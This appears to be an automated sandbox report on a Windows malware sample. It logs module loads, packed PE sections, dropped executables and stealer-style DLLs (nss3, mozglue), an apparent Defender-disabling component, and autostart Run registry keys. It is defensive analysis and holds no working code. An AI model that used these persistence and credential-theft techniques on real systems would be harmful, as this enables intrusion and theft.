Source: C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006995001\3afa1b1567.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1006995001\3afa1b1567.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1006995001\3afa1b1567.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1006995001\3afa1b1567.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1006995001\3afa1b1567.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1006995001\3afa1b1567.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006995001\3afa1b1567.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1006995001\3afa1b1567.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1006995001\3afa1b1567.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1006995001\3afa1b1567.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1006995001\3afa1b1567.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006996001\4ff2bfa33f.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1006996001\4ff2bfa33f.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1006996001\4ff2bfa33f.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1006996001\4ff2bfa33f.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1006996001\4ff2bfa33f.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1808384 > 1048576

Source: file.exe

Static PE information: Raw size of pjkvfjuj is bigger than: 0x100000 < 0x19fa00

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.1885742746.000000007013D000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 4ff2bfa33f.exe, 0000002A.00000002.2575103553.0000000000EB2000.00000040.00000001.01000000.00000013.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.1885742746.000000007013D000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.cf0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;pjkvfjuj:EW;cssxusxa:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;pjkvfjuj:EW;cssxusxa:EW;.taggant:EW;
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	Unpacked PE file: 20.2.DocumentsCGDHIEGCFH.exe.a30000.0.unpack :EW;.rsrc:W;.idata :W; :EW;nmkptigd:EW;sphqvbak:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;nmkptigd:EW;sphqvbak:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 21.2.skotes.exe.f20000.0.unpack :EW;.rsrc:W;.idata :W; :EW;nmkptigd:EW;sphqvbak:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;nmkptigd:EW;sphqvbak:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 22.2.skotes.exe.f20000.0.unpack :EW;.rsrc:W;.idata :W; :EW;nmkptigd:EW;sphqvbak:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;nmkptigd:EW;sphqvbak:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1006992001\5454ad7c1c.exe	Unpacked PE file: 25.2.5454ad7c1c.exe.830000.0.unpack :EW;.rsrc :W;.idata :W; :EW;cqumvlma:EW;yyikkzmn:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;cqumvlma:EW;yyikkzmn:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Unpacked PE file: 27.2.bef6a59ce6.exe.120000.0.unpack :EW;.rsrc :W;.idata :W; :EW;drhtdnen:EW;ddnzvcgm:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;drhtdnen:EW;ddnzvcgm:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe	Unpacked PE file: 29.2.5b96a79886.exe.230000.0.unpack :EW;.rsrc:W;.idata :W; :EW;pjkvfjuj:EW;cssxusxa:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;pjkvfjuj:EW;cssxusxa:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 34.2.skotes.exe.f20000.0.unpack :EW;.rsrc:W;.idata :W; :EW;nmkptigd:EW;sphqvbak:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;nmkptigd:EW;sphqvbak:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1006996001\4ff2bfa33f.exe	Unpacked PE file: 42.2.4ff2bfa33f.exe.eb0000.0.unpack :EW;.rsrc:W;.idata :W;xwjardvp:EW;dtfdxtnz:EW;.taggant:EW; vs :ER;.rsrc:W;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[2].exe.21.dr	Static PE information: real checksum: 0x1c06dc should be: 0x1c4c42
Source: DocumentsCGDHIEGCFH.exe.0.dr	Static PE information: real checksum: 0x1d120c should be: 0x1d93fe
Source: random[1].exe.21.dr	Static PE information: real checksum: 0x42d8d6 should be: 0x4325ff
Source: 5b96a79886.exe.21.dr	Static PE information: real checksum: 0x1c06dc should be: 0x1c4c42
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x1d120c should be: 0x1d93fe
Source: skotes.exe.20.dr	Static PE information: real checksum: 0x1d120c should be: 0x1d93fe
Source: 5454ad7c1c.exe.21.dr	Static PE information: real checksum: 0x42d8d6 should be: 0x4325ff
Source: random[1].exe0.21.dr	Static PE information: real checksum: 0x1c0932 should be: 0x1c7adc
Source: random[2].exe0.21.dr	Static PE information: real checksum: 0x2a30d0 should be: 0x2a3956
Source: bef6a59ce6.exe.21.dr	Static PE information: real checksum: 0x1c0932 should be: 0x1c7adc
Source: file.exe	Static PE information: real checksum: 0x1c06dc should be: 0x1c4c42
Source: 4ff2bfa33f.exe.21.dr	Static PE information: real checksum: 0x2a30d0 should be: 0x2a3956

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: pjkvfjuj
Source: file.exe	Static PE information: section name: cssxusxa
Source: file.exe	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: nmkptigd
Source: random[1].exe.0.dr	Static PE information: section name: sphqvbak
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: DocumentsCGDHIEGCFH.exe.0.dr	Static PE information: section name:
Source: DocumentsCGDHIEGCFH.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsCGDHIEGCFH.exe.0.dr	Static PE information: section name:
Source: DocumentsCGDHIEGCFH.exe.0.dr	Static PE information: section name: nmkptigd
Source: DocumentsCGDHIEGCFH.exe.0.dr	Static PE information: section name: sphqvbak
Source: DocumentsCGDHIEGCFH.exe.0.dr	Static PE information: section name: .taggant
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: skotes.exe.20.dr	Static PE information: section name:
Source: skotes.exe.20.dr	Static PE information: section name: .idata
Source: skotes.exe.20.dr	Static PE information: section name:
Source: skotes.exe.20.dr	Static PE information: section name: nmkptigd
Source: skotes.exe.20.dr	Static PE information: section name: sphqvbak
Source: skotes.exe.20.dr	Static PE information: section name: .taggant
Source: random[1].exe.21.dr	Static PE information: section name:
Source: random[1].exe.21.dr	Static PE information: section name: .rsrc
Source: random[1].exe.21.dr	Static PE information: section name: .idata
Source: random[1].exe.21.dr	Static PE information: section name:
Source: random[1].exe.21.dr	Static PE information: section name: cqumvlma
Source: random[1].exe.21.dr	Static PE information: section name: yyikkzmn
Source: random[1].exe.21.dr	Static PE information: section name: .taggant
Source: 5454ad7c1c.exe.21.dr	Static PE information: section name:
Source: 5454ad7c1c.exe.21.dr	Static PE information: section name: .rsrc
Source: 5454ad7c1c.exe.21.dr	Static PE information: section name: .idata
Source: 5454ad7c1c.exe.21.dr	Static PE information: section name:
Source: 5454ad7c1c.exe.21.dr	Static PE information: section name: cqumvlma
Source: 5454ad7c1c.exe.21.dr	Static PE information: section name: yyikkzmn
Source: 5454ad7c1c.exe.21.dr	Static PE information: section name: .taggant
Source: random[1].exe0.21.dr	Static PE information: section name:
Source: random[1].exe0.21.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.21.dr	Static PE information: section name: .idata
Source: random[1].exe0.21.dr	Static PE information: section name:
Source: random[1].exe0.21.dr	Static PE information: section name: drhtdnen
Source: random[1].exe0.21.dr	Static PE information: section name: ddnzvcgm
Source: random[1].exe0.21.dr	Static PE information: section name: .taggant
Source: bef6a59ce6.exe.21.dr	Static PE information: section name:
Source: bef6a59ce6.exe.21.dr	Static PE information: section name: .rsrc
Source: bef6a59ce6.exe.21.dr	Static PE information: section name: .idata
Source: bef6a59ce6.exe.21.dr	Static PE information: section name:
Source: bef6a59ce6.exe.21.dr	Static PE information: section name: drhtdnen
Source: bef6a59ce6.exe.21.dr	Static PE information: section name: ddnzvcgm
Source: bef6a59ce6.exe.21.dr	Static PE information: section name: .taggant
Source: random[2].exe.21.dr	Static PE information: section name:
Source: random[2].exe.21.dr	Static PE information: section name: .idata
Source: random[2].exe.21.dr	Static PE information: section name:
Source: random[2].exe.21.dr	Static PE information: section name: pjkvfjuj
Source: random[2].exe.21.dr	Static PE information: section name: cssxusxa
Source: random[2].exe.21.dr	Static PE information: section name: .taggant
Source: 5b96a79886.exe.21.dr	Static PE information: section name:
Source: 5b96a79886.exe.21.dr	Static PE information: section name: .idata
Source: 5b96a79886.exe.21.dr	Static PE information: section name:
Source: 5b96a79886.exe.21.dr	Static PE information: section name: pjkvfjuj
Source: 5b96a79886.exe.21.dr	Static PE information: section name: cssxusxa
Source: 5b96a79886.exe.21.dr	Static PE information: section name: .taggant
Source: random[2].exe0.21.dr	Static PE information: section name:
Source: random[2].exe0.21.dr	Static PE information: section name: .idata
Source: random[2].exe0.21.dr	Static PE information: section name: xwjardvp
Source: random[2].exe0.21.dr	Static PE information: section name: dtfdxtnz
Source: random[2].exe0.21.dr	Static PE information: section name: .taggant
Source: 4ff2bfa33f.exe.21.dr	Static PE information: section name:
Source: 4ff2bfa33f.exe.21.dr	Static PE information: section name: .idata
Source: 4ff2bfa33f.exe.21.dr	Static PE information: section name: xwjardvp
Source: 4ff2bfa33f.exe.21.dr	Static PE information: section name: dtfdxtnz
Source: 4ff2bfa33f.exe.21.dr	Static PE information: section name: .taggant

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 21_2_00F3D91C push ecx; ret

21_2_00F3D92F

Source: file.exe	Static PE information: section name: pjkvfjuj entropy: 7.954291391492252
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.959290179786427
Source: random[1].exe.0.dr	Static PE information: section name: nmkptigd entropy: 7.953345202450456
Source: DocumentsCGDHIEGCFH.exe.0.dr	Static PE information: section name: entropy: 7.959290179786427
Source: DocumentsCGDHIEGCFH.exe.0.dr	Static PE information: section name: nmkptigd entropy: 7.953345202450456
Source: skotes.exe.20.dr	Static PE information: section name: entropy: 7.959290179786427
Source: skotes.exe.20.dr	Static PE information: section name: nmkptigd entropy: 7.953345202450456
Source: random[1].exe.21.dr	Static PE information: section name: cqumvlma entropy: 7.955418176482532
Source: 5454ad7c1c.exe.21.dr	Static PE information: section name: cqumvlma entropy: 7.955418176482532
Source: random[1].exe0.21.dr	Static PE information: section name: entropy: 7.977287586658576
Source: random[1].exe0.21.dr	Static PE information: section name: drhtdnen entropy: 7.9533423859742545
Source: bef6a59ce6.exe.21.dr	Static PE information: section name: entropy: 7.977287586658576
Source: bef6a59ce6.exe.21.dr	Static PE information: section name: drhtdnen entropy: 7.9533423859742545
Source: random[2].exe.21.dr	Static PE information: section name: pjkvfjuj entropy: 7.954291391492252
Source: 5b96a79886.exe.21.dr	Static PE information: section name: pjkvfjuj entropy: 7.954291391492252
Source: random[2].exe0.21.dr	Static PE information: section name: entropy: 7.792811348336528
Source: 4ff2bfa33f.exe.21.dr	Static PE information: section name: entropy: 7.792811348336528

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsCGDHIEGCFH.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1006995001\3afa1b1567.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1006992001\5454ad7c1c.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsCGDHIEGCFH.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[2].exe	Jump to dropped file
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1006996001\4ff2bfa33f.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsCGDHIEGCFH.exe

Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 5b96a79886.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 4ff2bfa33f.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3afa1b1567.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bef6a59ce6.exe

Drops PE files to the user root directory

